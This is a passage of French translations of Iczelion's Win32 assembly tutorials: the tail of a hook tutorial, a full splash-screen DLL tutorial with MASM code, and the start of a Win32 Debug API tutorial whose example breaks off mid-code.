invoke SetDlgItemText,hDlg,IDC_HANDLE,NULL
invoke SetDlgItemText,hDlg,IDC_WNDPROC,NULL

Quand l'utilisateur appuie sur le bouton 'Unhook', le programme appelle la fonction UninstallHook qui se trouve dans le DLL (avec la fonction hook). UninstallHook appelle uniquement UnhookWindowsHookEx. Après ça, le texte du bouton se retransforme en "Hook", le flaf HookFlag est remis à 'False' et on bloque le contenu des contrôles d'édition.
Notez comment est décrit le linker dans le makefile.

Link /SECTION:.bss,S /DLL /DEF:$(NAME).def /SUBSYSTEM:WINDOWS

La section .bss est définie comme une section partagée pour faire en sorte que plusieurs processus (programmes) puissent utiliser les données non initialisée de ce DLL en même temps. Sans ce commutateur, votre DLL ne fonctionnerait pas correctement.

[Iczelion's Win32 Assembly Homepage]

Traduit pas Morgatte


Iczelion's Win32 Assembly Tutorial 26: Splash Screen

Tutorial 26: Splash Screen

Maintenant que nous savons comment utiliser un bitmap, nous pouvons progresser en s'en servant d'une manière plus créatrice. Le 'splash screen'. Downloadez l'exemple. Mais en fait cet exemple est zippé et puisqu'il fait appelle à un DLL, il ne fonctionnera correctement qu'en l'ayant dézippé d'abord!

Théorie

Un splash screen est une fenêtre qui n'a aucune barre de titre, aucun système de menu, aucune frontière et qui affiche un bitmap un court instant avant de le faire redisparaître automatiquement. On s'en sert d'habitude au démarrage d'un programme, pour montrer un logo ou pour détourner l'attention de l'utilisateur pendant que le programme rame à cause de longues initialisations. Nous allons donc créer un splash screen dans ce tutorial.
La première étape c'est d'inclure le bitmap dans le fichier de ressource. Cependant, si vous réfléchissez, c'est une perte de mémoire précieuse de charger un bitmap qui ne sera employé qu'une seule fois. Une solution bien meilleure, c'est de créer une sorte de *DLL resource* qui contient le bitmap et qui aura pour unique but d'afficher notre Splash screen. De cette façon, vous pouvez charger le DLL lorsque vous souhaitez afficher le Splash screen puis le décharger quand il n'est plus nécessaire. Donc on aura deux modules : le programme principal et le DLL Splash. Nous plaçons le bitmap dans le DLL ressource.
Le schéma général est comme suit :
  1. Mettez le bitmap dans le DLL comme un bitmap mis en ressource.
  2. Le programme principal appelle LoadLibrary pour charger le dll en mémoire.
  3. On appelle l'entrypoint du DLL. On créera un minuteur (un Timer) et nous définiront la durée d'affichage du Splash screen. Ensuite nous enregistrerons et créerons une fenêtre sans titre ni bords puis nous afficherons le bitmap dans son secteur client.
  4. Quand la durée indiquée s'est écoulée, le Splash screen est enlevé de l'écran et le contrôle est rendu au programme principal.
  5. Le programme principal appelle FreeLibrary pour enlever (décharger) le DLL de la mémoire et continue ensuite avec n'importe quelle autre tâche que nous supposons avoir mis à sa suite.
Nous allons examiner les mécanismes en détail.

Chargement/Déchargement du DLL (Load/Unload)

Vous pouvez charger dynamiquement un DLL grâce à la fonction LoadLibrary qui a la syntaxe suivante :
LoadLibrary proto lpDLLName:DWORD
Elle ne prend seulement qu'un paramètre : l'adresse du nom du DLL que vous voulez charger en mémoire. Si l'appel est couronné de succès, il renvoie l'handle du DLL, sinon elle renvoie un NULL.
Pour décharger un DLL, appelez FreeLibrary :
FreeLibrary proto hLib:DWORD
Il ne prend aussi qu'un seul paramètre : l'handle du DLL que vous souhaitez décharger. Normalement, vous avez obtenu cet handle grâce à LoadLibrary.

Comment employer un 'TIMER' (minuteur) ?

D'abord, vous devez créer un Timer avec SetTimer :
SetTimer proto hWnd:DWORD, TimerID:DWORD, uElapse:DWORD, lpTimerFunc:DWORD

hWnd is the hest l'handle de la fenêtre qui recevra le message d'avis du Timer. Ce paramètre peut être NULL pour spécifier qu'il n'y a aucune fenêtre étant associée au Timer.
TimerID est une valeur définie par l'utilisateur, laquelle est employée en tant qu'ID du Timer.
uElapse est la valeur du temps d'attente en millisecondes.
lpTimerFunc est l'adresse de la fonction qui traitera les messages d'avis du Timer. Si vous passez un NULL, les messages du Timer seront envoyés à la fenêtre indiquée par le paramètre hWnd.

SetTimer renvoie l'ID du Timer en cas de succès. Autrement il renvoie un NULL. Donc il est préférable de ne pas mettre l'ID du Timer à 0.

Vous pouvez créer un Timer de deux façons :
  • Si vous avez une fenêtre et que vous souhaitez que les messages d'avis du Timer aillent vers cette fenêtre, alors vous devez passer Les quatre paramètres ci-dessus à SetTimer (le lpTimerFunc doit rester NULL).
  • Si vous n'avez pas encore de fenêtre ou bien que vous ne voulez pas traiter les messages du Timer dans la procédure de fenêtre, vous devez passer un NULL à la fonction à la place de l'handle de la fenêtre. Vous devez aussi définir l'adresse de la fonction du Timer qui traitera les messages du Timer.
Nous emploierons la première approche dans cet exemple.
Quand la période de temps mort s'est écoulée, le message WM_TIMER est envoyé à la fenêtre qui est associée au Timer. Par exemple, si vous spécifiez un uElapse de 1000, votre fenêtre recevra WM_TIMER chaque seconde.
Lorsque vous n'avez plus besoin du Timer, on le détruit avec KillTimer :
KillTimer proto hWnd:DWORD, TimerID:DWORD

Exemple:

;-----------------------------------------------------------------------
;                         Voici le programme principal:
;-----------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SplashDemoWinClass",0
AppName  db "Splash Screen Example",0
Libname db "splash.dll",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
start:
 invoke LoadLibrary,addr Libname
 .if eax!=NULL
    invoke FreeLibrary,eax
 .endif
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke GetCommandLine
 mov    CommandLine,eax
 invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
 invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
 LOCAL wc:WNDCLASSEX
 LOCAL msg:MSG
 LOCAL hwnd:HWND
 mov   wc.cbSize,SIZEOF WNDCLASSEX
 mov   wc.style, CS_HREDRAW or CS_VREDRAW
 mov   wc.lpfnWndProc, OFFSET WndProc
 mov   wc.cbClsExtra,NULL
 mov   wc.cbWndExtra,NULL
 push  hInstance
 pop   wc.hInstance
 mov   wc.hbrBackground,COLOR_WINDOW+1
 mov   wc.lpszMenuName,NULL
 mov   wc.lpszClassName,OFFSET ClassName
 invoke LoadIcon,NULL,IDI_APPLICATION
 mov   wc.hIcon,eax
 mov   wc.hIconSm,eax
 invoke LoadCursor,NULL,IDC_ARROW
 mov   wc.hCursor,eax
 invoke RegisterClassEx, addr wc
 INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
 mov   hwnd,eax
 invoke ShowWindow, hwnd,SW_SHOWNORMAL
 invoke UpdateWindow, hwnd
 .while TRUE
  invoke GetMessage, ADDR msg,NULL,0,0
  .break .if (!eax)
  invoke TranslateMessage, ADDR msg
  invoke DispatchMessage, ADDR msg
 .endw
 mov     eax,msg.wParam
 ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 .IF uMsg==WM_DESTROY
  invoke PostQuitMessage,NULL
 .ELSE
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam
  ret
 .ENDIF
 xor eax,eax
 ret
WndProc endp
end start

;--------------------------------------------------------------------
;                         Et voici le DLL contenant le Bitmap:
;--------------------------------------------------------------------
.386
.model flat, stdcall
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
.data
BitmapName db "MySplashBMP",0
ClassName db "SplashWndClass",0
hBitMap dd 0
TimerID dd 0

.data
hInstance dd ?

.code

DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD
   .if reason==DLL_PROCESS_ATTACH  ; Quand le dll est chargé.
      push hInst
      pop hInstance
      call ShowBitMap
   .endif
   mov eax,TRUE
   ret
DllEntry Endp
ShowBitMap proc
        LOCAL wc:WNDCLASSEX
        LOCAL msg:MSG
        LOCAL hwnd:HWND
        mov   wc.cbSize,SIZEOF WNDCLASSEX
        mov   wc.style, CS_HREDRAW or CS_VREDRAW
        mov   wc.lpfnWndProc, OFFSET WndProc
        mov   wc.cbClsExtra,NULL
        mov   wc.cbWndExtra,NULL
        push  hInstance
        pop   wc.hInstance
        mov   wc.hbrBackground,COLOR_WINDOW+1
        mov   wc.lpszMenuName,NULL
        mov   wc.lpszClassName,OFFSET ClassName
        invoke LoadIcon,NULL,IDI_APPLICATION
        mov   wc.hIcon,eax
        mov   wc.hIconSm,0
        invoke LoadCursor,NULL,IDC_ARROW
        mov   wc.hCursor,eax
        invoke RegisterClassEx, addr wc
        INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
           WS_POPUP,CW_USEDEFAULT,\
           CW_USEDEFAULT,250,250,NULL,NULL,\
           hInstance,NULL
        mov   hwnd,eax
        INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
        .WHILE TRUE
                INVOKE GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                INVOKE TranslateMessage, ADDR msg
                INVOKE DispatchMessage, ADDR msg
        .ENDW
        mov     eax,msg.wParam
        ret
ShowBitMap endp
WndProc proc hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        LOCAL ps:PAINTSTRUCT
        LOCAL hdc:HDC
        LOCAL hMemoryDC:HDC
        LOCAL hOldBmp:DWORD
        LOCAL bitmap:BITMAP
        LOCAL DlgHeight:DWORD
        LOCAL DlgWidth:DWORD
        LOCAL DlgRect:RECT
        LOCAL DesktopRect:RECT

        .if uMsg==WM_DESTROY
                .if hBitMap!=0
                        invoke DeleteObject,hBitMap
                .endif
                invoke PostQuitMessage,NULL
        .elseif uMsg==WM_CREATE
                invoke GetWindowRect,hWnd,addr DlgRect
                invoke GetDesktopWindow
                mov ecx,eax
                invoke GetWindowRect,ecx,addr DesktopRect
                push  0
                mov  eax,DlgRect.bottom
                sub  eax,DlgRect.top
                mov  DlgHeight,eax
                push eax
                mov  eax,DlgRect.right
                sub  eax,DlgRect.left
                mov  DlgWidth,eax
                push eax
                mov  eax,DesktopRect.bottom
                sub  eax,DlgHeight
                shr  eax,1
                push eax
                mov  eax,DesktopRect.right
                sub  eax,DlgWidth
                shr  eax,1
                push eax
                push hWnd
                call MoveWindow
                invoke LoadBitmap,hInstance,addr BitmapName
                mov hBitMap,eax
                invoke SetTimer,hWnd,1,2000,NULL
                mov TimerID,eax
        .elseif uMsg==WM_TIMER
                invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
                invoke KillTimer,hWnd,TimerID
        .elseif uMsg==WM_PAINT
                invoke BeginPaint,hWnd,addr ps
                mov hdc,eax
                invoke CreateCompatibleDC,hdc
                mov hMemoryDC,eax
                invoke SelectObject,eax,hBitMap
                mov hOldBmp,eax
                invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
                invoke StretchBlt,hdc,0,0,250,250,\
                       hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
                invoke SelectObject,hMemoryDC,hOldBmp
                invoke DeleteDC,hMemoryDC
                invoke EndPaint,hWnd,addr ps
        .elseif uMsg==WM_LBUTTONDOWN
                invoke DestroyWindow,hWnd
        .else
                invoke DefWindowProc,hWnd,uMsg,wParam,lParam
                ret
        .endif
        xor eax,eax
        ret
WndProc endp

End DllEntry

Analyse:

Dans un premier temps, nous allons nous pencher sur le code du programme principal.
 invoke LoadLibrary,addr Libname
 .if eax!=NULL
    invoke FreeLibrary,eax
 .endif
Nous appelons LoadLibrary pour charger le DLL nommé "splash.DLL". Et après ça, déchargez-le de la mémoire avec FreeLibrary. LoadLibrary ne retournera rien avant que le DLL n'en ait fini avec son initialisation..
C'est tout pour le programme principal. La partie intéressante c'est le DLL.

   .if reason==DLL_PROCESS_ATTACH  ; Quand le dll est chargé.
      push hInst
      pop hInstance
      call ShowBitMap

Lorsque le DLL est chargé, Windows appelle son entrypoint avec le flag DLL_PROCESS_ATTACH. Nous en profitons pour afficher le Splash screen. En premier lieu, nous stockons l'instance handle du DLL pour pouvoir l'utiliser plus tard. On appelle donc une fonction nommée ShowBitMap pour faire ce travail. ShowBitMap enregistre (une Window Class) une classe de fenêtre, et on crée la fenêtre puis on entre dans la boucle de message comme d'habitude. La partie intéressante est dans l'appel de CreateWindowEx :

        INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
           WS_POPUP,CW_USEDEFAULT,\
           CW_USEDEFAULT,250,250,NULL,NULL,\
           hInstance,NULL

Notez que le style de fenêtre est seulement WS_POPUP ce qui fera qu'on obtiendra une fenêtre sans bords et sans titre. Nous limitons aussi la largeur et la hauteur de la fenêtre à 250x250 pixels.
Maintenant que la fenêtre est créée, avec le message WM_CREATE nous plaçons la fenêtre au centre de l'écran grâce au code suivant.

                invoke GetWindowRect,hWnd,addr DlgRect
                invoke GetDesktopWindow
                mov ecx,eax
                invoke GetWindowRect,ecx,addr DesktopRect
                push  0
                mov  eax,DlgRect.bottom
                sub  eax,DlgRect.top
                mov  DlgHeight,eax
                push eax
                mov  eax,DlgRect.right
                sub  eax,DlgRect.left
                mov  DlgWidth,eax
                push eax
                mov  eax,DesktopRect.bottom
                sub  eax,DlgHeight
                shr  eax,1
                push eax
                mov  eax,DesktopRect.right
                sub  eax,DlgWidth
                shr  eax,1
                push eax
                push hWnd
                call MoveWindow

Ceci retrouve les dimensions de notre bureau (qui vont servir de référence) puis celles de la fenêtre en calculant les coordonnées appropriées du coin supérieur gauche de la fenêtre pour pouvoir la placer au centre.

                invoke LoadBitmap,hInstance,addr BitmapName
                mov hBitMap,eax
                invoke SetTimer,hWnd,1,2000,NULL
                mov TimerID,eax

Ensuite on charge le 'bitmap ressource' avec LoadBitmap et on crée un minuteur (un Timer) avec l'ID du Timer ayant la valeur de '1', et un intervalle de temps de 2 secondes. Le Timer enverra des messages WM_TIMER à la fenêtre toutes les 2 secondes.

        .elseif uMsg==WM_PAINT
                invoke BeginPaint,hWnd,addr ps
                mov hdc,eax
                invoke CreateCompatibleDC,hdc
                mov hMemoryDC,eax
                invoke SelectObject,eax,hBitMap
                mov hOldBmp,eax
                invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
                invoke StretchBlt,hdc,0,0,250,250,\
                       hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
                invoke SelectObject,hMemoryDC,hOldBmp
                invoke DeleteDC,hMemoryDC
                invoke EndPaint,hWnd,addr ps

Quand la fenêtre reçoit le message WM_PAINT, elle crée une mémoire DC, choisit le bitmap dans la mémoire DC, obtient la taille du bitmap avec GetObject et met ensuite le bitmap sur la fenêtre en appelant StretchBlt, lequel se comporte comme BitBlt (il recopie le bitpam sur notre fenêtre) mais il en plus est capable de compresser ou de décompresser le bitmap à la dimension désirée. Dans notre cas, nous voulons que le bitmap s'accorde aux dimensions de la fenêtre, c'est pourquoi nous utilisons StretchBlt au lieu de BitBlt. Nous supprimons la mémoire DC après ça.

        .elseif uMsg==WM_LBUTTONDOWN
                invoke DestroyWindow,hWnd

Ce serait frustrant pour l'utilisateur qu'il soit obligé d'attendre que le Splash screen disparaisse. On aimerait que l'utilisateur ait le choix. Quand il clique sur Splash screen, il faudrait qu'il disparaisse. C'est pourquoi nous avons besoin de traiter le message WM_LBUTTONDOWN dans le DLL. En recevant ce message, la fenêtre est détruite par l'appel de DestroyWindow.

        .elseif uMsg==WM_TIMER
                invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
                invoke KillTimer,hWnd,TimerID

Si l'utilisateur attend, le Splash screen disparaîtra lorsque le temps indiqué se sera écoulé (dans notre exemple, au bout de 2 secondes). On fait ça en traitant le message WM_TIMER. Après avoir reçu ce message, nous fermons la fenêtre en lui envoyant le message WM_LBUTTONDOWN. Ça permet d'éviter la duplication du code. Puisque nous n'avons plus besoin d'utiliser le Timer, nous le détruisons avec KillTimer.
Après que la fenêtre soit fermée, le DLL renverra le contrôle au programme principal.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 28: Win32 Debug API Part 1

Tutorial 28: Win32 Debug API Partie 1/3

Dans ce tutorial, vous allons voir ce que Win32 offre comme mise au point primaires aux développeurs. Lorsque vous en aurez finis avec ce tutorial, vous saurez comment debugger un programme.
Downloadez l'exemple.

Théorie:

Win32 possède plusieurs APIs qui permettent aux programmeurs d'utiliser certaines des fonctions d'un débugger. On les appelle, les 'Win32 Debug APIs' ou 'primitives'. Avec elles, vous pouvez :

  • Charger un programme ou s'attacher à un programme en cours d'exécution pour le debugger.
  • Obtenir une information de bas niveau dans le programme que vous êtes en train de debugger, comme l'ID du processus (du programme), l'adresse de son entrypoint, 'son image base' etc... (Par exemple quand vous cracker un logiciel avec W32Dasm, tous les programmes que vous désassemblez commencent à l'adresse 00400000. Ça c'est l'Image Base).
  • Prendre conscience des liens de parentés pour les phases de debugging qui ne vont pas l'un sans l'autre tels que pour un programme multi-liens 'Process/Liens' 'Start/Exit', les DLLs sont Chargés/déchargés en mémoire etc.
  • Modifier le process/lien qu'on est en train de debuger.

Bref, vous pouvez fabriquer un programme qui sert à debugger, grâce à ces APIs là (les Win32 Debug APIs). Puisque ce sujet est vaste, je le divise en plusieurs parties : ce tutorial étant la première partie. Dans cette première, j'expliquerai les concepts de base ainsi que la structure générale de l'utilisation des 'Win32 Debug APIs'.
Les étapes pour l'utilisation des 'Win32 Debug APIs' sont :

  1. Créez un process (dans W32Dasm c'est: Load Process) (Dans SoftIce c'est son: Loader) ou attachez votre programme à un process en cours de fonctionnement (Dans W32Dasm c'est: Attach to an Active Process) (Dans SoftIce c'est: CTRL+d). C'est la première étape de l'utilisation des 'Win32 debug APIs'. Puisque votre programme agira comme un DEBUGGER, vous aurez besoin d'un programme sur lequel faire vos essais. Un programme étant en train de se faire débugger (la cible) est appelé un debuggee (non je ne me suis pas trompé). Vous pouvez lancer une 'action debuggee' (action qui fait en sorte qu'on debug la cible, le debuggee) de deux façons :
    • Vous pouvez créer un 'Debuggee Process' par vous-même avec CreateProcess. Pour créer un process pour debugger, vous devez mettre le Flag DEBUG_PROCESS. Ce Flag précise à Windows que nous souhaitons debugger le process (de la même façon que Load Process pour W32Dasm). Windows enverra des notifications sur les événements importants servant à debugger (on va les appeler les 'debugging événements') qui arrivent dans votre programme debuggee. Votre debuggee sera immédiatement suspendu jusqu'à ce que votre programme ne soit prêt. Si le debuggee crée aussi des Child Process, Windows lui aussi enverra les 'debugging événements' dans tous les Child Process de votre programme. C'est un comportement qui d'habitude est indésirable. C'est pourquoi on peut le mettre hors service en spécifiant le Flag DEBUG_ONLY_THIS_PROCESS dans la combinaison de Flags DEBUG_PROCESS.
    • Vous pouvez 'attacher ' votre debugger à un programme cible qui est déjà en train de tourner, grâce à DebugActiveProcess.
  2. Attendez les événements de debugging.. Après que votre programme n'ait acquis sa fonction de debugger, le lien primaire du debuggee est suspendu et continuera de l'être jusqu'à ce que vous appeliez WaitForDebugEvent dans votre programme. Cette fonction marche comme d'autres WaitForXXX fonctionnent, c'est-à-dire. Elle bloque le lien appelant avant que l'événement "attendu" n'arrive. Dans ce cas, elle attend que des 'debugging événements' soient envoyé par Windows. On va voir sa définition :

    WaitForDebugEvent Proto lpDebugEvent:DWORD, dwMilliseconds:DWORD

    lpDebugEvent est l'adresse de la structure debug_EVENT, laquelle sera remplie de l'information d'un 'debugging événement' qui arrive dans le debugger.

    dwMilliseconds est la durée en millisecondes que cette fonction attendra le 'debugging événement' pour arriver. Si ce temps est écoulé et qu'aucun événement (servant à debugger) n'est arrivé, WaitForDebugEvent revient au Call. D'autre part, si vous mettez la constante INFINITE dans cet argument, la fonction ne retournera pas avant qu'un 'debugging événement' ne soit arrivé.

    Maintenant on va examiner la structure DEBUG_EVENT plus en détail.

    DEBUG_EVENT STRUCT
    dwDebugEventCode dd ?
    dwProcessId dd ?
    dwThreadId dd ?
    u DEBUGSTRUCT <>
    DEBUG_EVENT ENDS

    dwDebugEventCode contient la valeur qui indique quel type de debugging événement arrive. Bref, il peut y avoir plusieurs types d'événements, votre programme a besoin de vérifier la valeur de cet élément pour qu'il sache de quel genre il est, et lui répondre convenablement. Les valeurs possibles sont les suivantes:

    3. Valeurs | Significations
CREATE_PROCESS_DEBUG_EVENT | Un process est créé. Cet événement sera envoyé lorsque le processus de debugger vient juste d'être créé (et n'est pas encore en fonction) ou lorsque votre programme s'attache juste à un process (un programme) en cours avec DebugActiveProcess. C'est le tout premier événement que votre programme recevra.
EXIT_PROCESS_DEBUG_EVENT | Un process vient de se terminer.
CREATE_THEAD_DEBUG_EVENT | Un nouveau lien est créé dans le processus du debugger ou quand votre programme s'attache d'abord à un process en cours. Notez que vous ne recevrez pas cet avis lorsque le lien primaire du debugger est déjà créé.
EXIT_THREAD_DEBUG_EVENT | Un lien dans le debugger s'occupe des sorties. Votre programme ne recevra pas cet événement pour le lien primaire. Bref, vous pouvez penser que le lien primaire du debugger est un équivalent du processus du debugger lui-même. Ainsi, quand votre programme voit CREATE_PROCESS_DEBUG_EVENT, ça revient à CREATE_THREAD_DEBUG_EVENT pour le lien primaire.
LOAD_DLL_DEBUG_EVENT | Le debugger charge un DLL. Vous recevrez cet événement quand le PE Loader résout les premières liaisons du DLL que vous appelez grâce à CreateProcess pour charger le debugger, et au moment où le debugger appelle LoadLibrary.
UNLOAD_DLL_DEBUG_EVENT | Un DLL est déchargé du processus du debugger.
EXCEPTION_DEBUG_EVENT | Une exception vient d'arriver dans le process de debugger. Important: Cet événement arrivera uniquement avant que le debugger ne commence à exécuter sa première instruction. L'exception est en réalité une pause debugging (int 3h) = (c'est un Break Point). Quand vous voulez reprendre le debugger, appelez ContinueDebugEvent avec le flag DBG_CONTINUE. N'utilisez pas le flag DBG_EXCEPTION_NOT_HANDLED sinon le debugger refusera de repartir sous NT (sur Win98, ça marche très bien).
OUTPUT_DEBUG_STRING_EVENT | Cet événement est produit quand le debugger appelle la fonction DebugOutputString pour envoyer une chaîne de caractères en tant que message à votre programme.
RIP_EVENT | Une erreur de debugging s'est produite.

    dwProcessId et dwThreadId sont les IDs du process et du lien, du process pour lequel un 'debugging événement' se produit. Vous pouvez employer ces valeurs en tant qu'identificateurs du process et du lien auquel vous vous intéressez. Rappelez-vous que si vous employez CreateProcess pour charger le debugger, vous obtenez aussi les IDs du process et du lien du debugger dans la structure PROCESS_INFO. Vous pouvez utiliser ces valeurs pour différencier les événements qui arrive dans le debugger de ceux de ses Child Process (au cas où vous n'auriez pas spécifié le Flag DEBUG_ONLY_THIS_PROCESS).

    u est une union qui contient plus d'informations sur l''debugging événement'. ça peut être une des structures suivantes selon la valeur de dwDebugEventCode vu plus haut.

    Valeur dans dwDebugEventCode | Interprétation de 'u'
CREATE_PROCESS_DEBUG_EVENT | La structure CREATE_PROCESS_DEBUG_INFO nommée CreateProcessInfo
EXIT_PROCESS_DEBUG_EVENT | La structure EXIT_PROCESS_DEBUG_INFO nommée ExitProcess
CREATE_THREAD_DEBUG_EVENT | La structure CREATE_THREAD_DEBUG_INFO nommée CreateThread
EXIT_THREAD_DEBUG_EVENT | La structure EXIT_THREAD_DEBUG_EVENT nommée ExitThread
LOAD_DLL_DEBUG_EVENT | La structure LOAD_DLL_DEBUG_INFO nommée LoadDll
UNLOAD_DLL_DEBUG_EVENT | La structure UNLOAD_DLL_DEBUG_INFO nommée UnloadDll
EXCEPTION_DEBUG_EVENT | La structure EXCEPTION_DEBUG_INFO nommée Exception
OUTPUT_DEBUG_STRING_EVENT | La structure OUTPUT_DEBUG_STRING_INFO nommée DebugString
RIP_EVENT | La structure RIP_INFO nommée RipInfo

    Je n'entrerai pas dans les détails de toutes ces structures dans ce tutorial, on va seulement s'attarder un peu sur la structure CREATE_PROCESS_debug_INFO.
    Pour s'assurer que notre programme appelle WaitForDebugEvent et qu'il continue son déroulement ensuite, la première chose à faire est d'examiner la valeur dans dwDebugEventCode pour voir quel type d''debugging événement' est arrivé dans le process du debugger. Par exemple, si la valeur dans dwDebugEventCode est CREATE_PROCESS_DEBUG_EVENT, on peut interpréter le membre dans u comme étant CreateProcessInfo et y accéder grâce à u.CreateProcessInfo .

  3. Faites ce que vous voulez des réponses d'un 'debugging événement'. Lorsqu'on a un retour de WaitForDebugEvent, ça signifie qu'un 'debugging événement' vient juste d'arrivé dans le processus du debugger ou bien le temps d'attente s'est écoulé sans que rien ne se soit passé. Votre programme a besoin d'examiner la valeur dans dwDebugEventCode pour réagir convenablement à cet événement. À cet égard, ça se passe comme pour le traitement des messages avec Windows : vous choisissez d'en traiter certains mais on en ignore d'autres.
  4. Laissez le debugger continuer son déroulement. Quand un 'debugging événement' arrive, Windows suspend le debugger. Quand vous avez terminé de traiter cet événement, vous avez besoin de le relancer (le debugger) de nouveau, là où il s'était arrêté. On fait ça en appelant la fonction ContinueDebugEvent.

    ContinueDebugEvent proto dwProcessId:DWORD, dwThreadId:DWORD, dwContinueStatus:DWORD

    Cette fonction reprend le lien qui a été précédemment suspendu à cause du fait qu'un 'debugging événement' soit arrivé.
    dwProcessId et dwThreadId sont les 'IDs du process et du lien', du lien qui sera repris. On obtient d'habitude ces deux valeurs des membres dwProcessId et dwThreadId de la structure debug_EVENT.
    dwContinueStatus indique comment continuer le lien qui a annoncé l''debugging événement'. Il y a deux valeurs possibles: DBG_CONTINUE et DBG_EXCEPTION_NOT_HANDLED. En ce qui concerne tous les autres 'debugging événements', ces deux valeurs font la même chose : reprendre le lien. L'exception est EXCEPTION_debug_EVENT. Si le lien annonce un 'événement exception' de debugging, ça signifie qu'une exception est arrivée dans un lien du debugger. Si vous mettez DBG_CONTINUE , Le lien ignorera son propre traitement d'exception et continuera son exécution. Dans ce scénario, votre programme doit examiner et résoudre l'exception lui-même avant de pouvoir reprendre son lien avec DBG_CONTINUE sinon l'exception arrivera de nouveau à maintes reprises.... Si vous mettez DBG_EXCEPTION_NOT_HANDLED, Votre programme indique à Windows qu'il n'a pas récupéré l'handle de l'exception : Windows devra utiliser le manipulateur d'exception par défaut du debugger, pour s'occuper de cette exception.
    Pour conclure, si le 'debugging événement' se réfère à une exception dans le processus du debugger, vous devez appeler ContinueDebugEvent avec le flag DBG_CONTINUE si votre programme a déjà éradiqué la cause de l'exception. Autrement, votre programme doit appeler ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED. Sauf dans un cas, pour lequel vous devez toujours utiliser le flag DBG_CONTINUE: le premier EXCEPTION_debug_EVENT a la valeur EXCEPTION_BREAKPOINT dans le membre ExceptionCode. Quand le debugger va exécuter sa toute première instruction, votre programme recevra un événement d'exception de debugging. C'est en réalité une pause debugging (int 3h) (un Break Point). Si vous répondez en appelant ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED, Windows NT refusera de redémarrer le debugger (parce que personne ne se soucie de ça). Vous devez toujours employer le flag DBG_CONTINUE dans ce cas, pour dire à Windows que vous voulez que le lien reprenne.

  5. On continue ce cycle indéfiniment tant que le debugger ne trombe pas sur un Exit Process . Votre programme doit présenter une boucle infinie un peu comme une boucle de message. La boucle ressemble à ça :

    .while TRUE
    invoke WaitForDebugEvent, addr DebugEvent, INFINITE
    .break .if DebugEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
    ; S'occupe des événements de debugging.
    invoke ContinueDebugEvent, DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
    .endw

    Une fois le programme (à debugger) pris au piège : vous commencez à le debugger, vous ne pouvez plus vous en détacher (en sortir) tant qu'il ne s'est pas terminé (tant qu'on arrive pas à un des ses Exits).

On va récapituler les étapes à nouveau :

  1. On Créer un process ou on attache notre debugger à un process (un programme) en cours d'exécution..
  2. On attend que des événements de debugging arrivent.
  3. On fait ce qu'on veut (des réponses) des événements de debugging..
  4. Laissez le debugger reprendre son exécution..
  5. On continue ce cycle (les points 2,3,4 vus précédemment) dans une boucle infinie tant qu'on ne tombe pas sur l'Exit du processus du debuggee.

Exemple:

Cet exemple debugge un programme win32 et affiche les informations importantes telles que son handle, son ID, son Image Base, etc...

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
.data
AppName db "Win32 Debug Example no.1",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
             db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0
NewThread db "A new thread is created",0
EndThread db "A thread is destroyed",0
ProcessInfo db "File Handle: %lx ",0dh,0Ah
            db "Process Handle: %lx",0Dh,0Ah
            db "Thread Handle: %lx",0Dh,0Ah
            db "Image Base: %lx",0Dh,0Ah
            db "Start Address: %lx",0
.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
.code
start:
mov ofn.lStructSize,sizeof ofn
mov ofn.lpstrFilter, offset FilterString
mov ofn.lpstrFile, offset buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
